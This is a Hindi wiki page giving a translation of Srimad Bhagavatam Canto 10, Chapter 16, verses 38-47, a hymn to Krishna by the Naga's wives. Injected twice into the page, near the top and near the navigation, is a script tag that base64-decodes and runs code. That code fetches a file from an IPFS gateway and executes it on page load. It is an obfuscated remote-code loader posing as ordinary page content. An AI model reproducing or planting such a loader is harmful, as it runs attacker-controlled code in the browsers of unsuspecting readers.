श्रीमद्भागवत महापुराण दशम स्कन्ध अध्याय 16 श्लोक 38-47  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दशम स्कन्ध: षोडशोऽध्यायः(16) (पूर्वार्ध)

श्रीमद्भागवत महापुराण: दशम स्कन्ध: षोडशोऽध्यायः श्लोक 38-47 का हिन्दी अनुवाद

स्वामी! यह नागराज तमोगुणी योनि में उत्पन्न हुआ है और अत्यन्त क्रोधी है। फिर भी इसे आपकी वह परम पवित्र चरणरज प्राप्त हुई, जो दूसरों के लिये सर्वथा दुर्लभ है; तथा जिसको प्राप्त करने की इच्छा-मात्र से ही संसार चक्र में पड़े हुए जीव को संसार के वैभव-सम्पत्ति की तो बात ही क्या—मोक्ष की भी प्राप्ति हो जाती है ।

प्रभो! हम आपको प्रणाम करतीं हैं। आप अनन्त एवं अचिन्त्य ऐश्वर्य के नित्य निधि हैं। आप सबके अन्तःकारणों में विराजमान होने पर भी अनन्त हैं। आप समस्त प्राणियों और पदार्थों के आश्रय तथा सब पदार्थों के रूप में भी विद्यमान हैं। आप प्रकृति से परे स्वयं परमात्मा हैं । आप सब प्रकार के ज्ञान और अनुभवों के खजाने हैं। आपकी महिमा और शक्ति अनन्त है। आपका स्वरूप अप्राकृत—दिव्य चिन्मय है, प्राकृतिक गुणों एवं विकारों का आप कभी स्पर्श ही नहीं करते। आप ही ब्रम्हा हैं, हम आपको नमस्कार कर रही हैं । आप प्रकृति में क्षोभ उत्पन्न करने वाले काल हैं, कालशक्ति के आश्रय हैं और काल के क्षण-कल्प आदि समस्त अवयवों के साक्षी हैं। आप विश्वरूप होते हुए भी उससे अलग रहकर उसके द्रष्टा हैं। आप उसके बनाने वाले निमित्तकारण तो हैं ही, उसके रूप में बनने वाले उपादान कारण भी हैं । प्रभो! पंचभूत, उसकी तन्मात्राएँ, इन्द्रियाँ, प्राण, मन, बुद्धि और इन सबका खजाना चित्त—ये सब आप ही हैं। तीनों गुण और उनके कार्यों में होने वाले अभिमान के द्वारा आपने अपने साक्षात्कार को छिपा रखा है । आप देश, काल और वस्तुओं की सीमा से बाहर—अनन्त हैं। सूक्ष्म से भी सूक्ष्म और कार्य-कारणों के समस्त विकारों में भी एकरस, विकाररहित और सर्वज्ञ हैं। ईश्वर हैं कि नहीं हैं, सर्वज्ञ हैं कि अल्पज्ञ इत्यादि अनेक मतभेदों के अनुसार आप उन-उन मतवादियों को उन्हीं-उन्हीं रूपों में दर्शन देते हैं। समस्त शब्दों के अर्थ के रूप में तो आप हैं ही, शब्दों के रूप में भी हैं तथा उन दोनों का सम्बन्ध जोड़ने वाली शक्ति भी आप ही हैं। हम आपको नमस्कार करती हैं । प्रयक्ष-अनुमान आदि जितने भी प्रमाण हैं, उनको प्रमाणित करने वाले मूल आप ही हैं। समस्त शास्त्र आपसे ही निकले हैं और आपका ज्ञान स्वतःसिद्ध है। आप ही मन को लगाने की विधि के रूप में और उसको सब कहीं से हटा लेने की आज्ञा के रूप में प्रवृत्तिमार्ग और निवृत्तिमार्ग हैं। इन दोनों के मूल वेद भी स्वयं आप ही हैं। हम आपको बार-बार नमस्कार करती हैं ।

आप शुद्धस्त्वमय वसुदेव के पुत्र वासुदेव, संकर्षण एवं प्रद्धुम्न और अनिरुद्ध भी हैं। इस प्रकार चतुर्व्यूह के रूप में आप भक्तों तथा यादवों के स्वामी हैं। श्रीकृष्ण! हम आपको नमस्कार करतीं हैं । आप अंतःकरण और उसकी वृत्तियों के प्रकाशक हैं और उन्हीं के द्वारा अपने-आपको ढक रखते हैं। उन अंतःकरण और वृत्तियों के द्वारा ही आपके स्वरूप का कुछ-कुछ संकेत भी मिलता है। आप उन गुणों और उनकी वृत्तियों के साक्षी तथा स्वयंप्रकाश हैं। हम आपको नमस्कार करती हैं । आप मूलप्रकृति में नित्य विहार करते रहते हैं। समस्त स्थूल और सूक्ष्म जगत् की सिद्धि आपसे ही होती है। हृषीकेश! आप मननशील आत्माराम हैं। मौन ही आपका स्वाभाव है। आपको नमस्कार है ।



« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

-

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=श्रीमद्भागवत_महापुराण_दशम_स्कन्ध_अध्याय_16_श्लोक_38-47&oldid=610485" से लिया गया